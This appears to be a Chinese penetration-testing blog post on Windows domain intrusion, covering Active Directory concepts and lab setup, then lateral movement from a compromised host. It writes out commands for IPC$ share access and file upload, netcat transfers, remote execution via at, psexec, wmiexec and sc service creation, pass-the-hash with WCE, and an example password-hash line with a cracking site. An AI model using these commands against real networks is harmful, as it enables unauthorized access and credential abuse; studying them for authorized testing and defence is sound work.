之前写过一篇内网当中域渗透的简单文章。好久没遇到忘得差不多了。前几天做项目,正好碰到了域环境,正好有时间,再回顾一下原来的知识,另外把新补充的知识再记录一下。
域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
如果企业网络中计算机和用户数量较多时,要实现高效管理,就需要windows域。
活动目录是由组织单元、域(domain)、域树(tree)、森林(forest)构成的层次结构。域作为最基本的管理单元,同时也是最基层的容器,它可以对员工、计算机等基本数据进行存储。在一个活动目录中可以根据需要建立多个域,比方说“甲公司”的财务科、人事科、销售科就可以各建一个域,因为这几个域同属甲公司,所以就可以将这几个域构成一棵域树并交给域树管理,这棵域树就是甲公司。又因为,甲公司、乙公司、丙公司都归属A集团,那么为了让A集团可以更好地管理这三家子公司,就可以将这三家公司的域树集中起来组成域森林(即A集团)。因此A集团可以按“子公司(域树)→部门→员工”的方式进行层次分明的管理。活动目录这种层次结构使企业网络具有极强的扩展性,便于组织、管理以及目录定位。
先安装一个DNS——安装active directory(注:装这两个都需要系统光盘或镜像;安装active directory时相关的信息选择和命令要按自己的需求来)
装好后开始——管理工具,打开active directory用户和计算机——新建用户(密码选永不过期)——在域中设置委派控制(对象为前面建的用户)——完成域控制器就建好了
设置成与域控制器在同一个网段,然后右击“我的电脑”——属性——计算机名——更改——选“域”然后输入你建的域的域名重启就行了(注:这台电脑的计算机名要先在添加到域控制器中去)
参考:
> AD域环境的搭建 基于Server 2008 R2: http://www.it165.net/os/html/201306/5493.html
> Acitve Directory 域环境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。
建立ipc连接以后,就可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。
上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。
何为UNC路径?简单来讲以\开头的路径就是UNC路径,比如\192.168.1.2\c$\boot.ini。
如果要从本地当前目录上传1.bat到192.168.1.2机器C盘根目录下,那么命令就是
copy 1.bat \\192.168.1.2\C$\
反之就是下载。dir、copy、xcopy、move、type的参数都可以使用UNC路径。
服务端:nc -lvp 23 < nc.exe
下载端:telnet ip -f c:\nc.exe
映射目标
net use x: \\[目标IP]\[地址] [域用户password] /user:[域]\[username]
at \\192.168.200.100 15:00 c:\hack.bat
psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.200.100 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。
参数:
> -s 参数用来以system权限执行
>
> –accepteula 绕过第一次运行的弹窗
>
> -c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
>
> -d 不等待程序执行完就返回
psexec \\192.168.1.2 c:\hack.bat
T00ls大牛写的一款工具。早就传开了。
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
单个命令执行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
wce -s [hash]
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
windows的密码是经过hash后存储的,本地存在sam,system注册表中,域里面存在ntds.dit中。密码hash有两种格式,LM hash和NT hash。
| 2000 | xp | 2003 | Vista | win7 | 2008 | 2012 |
前面三个默认是LM hash,当密码超过14位时候会采用NTLM加密
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
前一部分是LM Hash,后一部分是NTLM Hash 当LM Hash是AAD3B435B51404EEAAD3B435B51404EE
这表示空密码或者是未使用LM_HASH
LMhash可以用在线网站秒破: http://www.objectif-securite.ch/en/ophcrack.php
拿下内网当中的一台主机后,首先要判断所控主机是否在域内。这里记录集中验证的方法。
存在域不确定,但当前用户不是域用户。
存在域,且当前用户是域用户会从域控返回当前时间。
不存在域。
### net config workstation
以上命令都是最简单的获取信息命令,只能获取最基本的信息。
更详细的信息需要用到其他的工具和利用姿势。以后再慢慢写。
##本地用户与域用户
拿到一台主机权限后,有两种可能:
在这三种情况中,本地用户是无法运行之前说的所有命令的,因为本质上所有查询都是通过ldap协议去域控制器上查询,这个查询需要经 过权限认证,只有域用户才有这个权限。当域用户运行查询命令时,会自动使用kerberos协议认证,无需额外输入账号密码。SYSTEM用户的情况比较特殊,在域中,除了普通用户外,所有机器都有一个机器用户,用户名是机器名后加$,本 质上机器上的SYSTEM用户对应的就是域里面的机器用户,所以SYSTEM权限是可以运行之前说的查询命令的。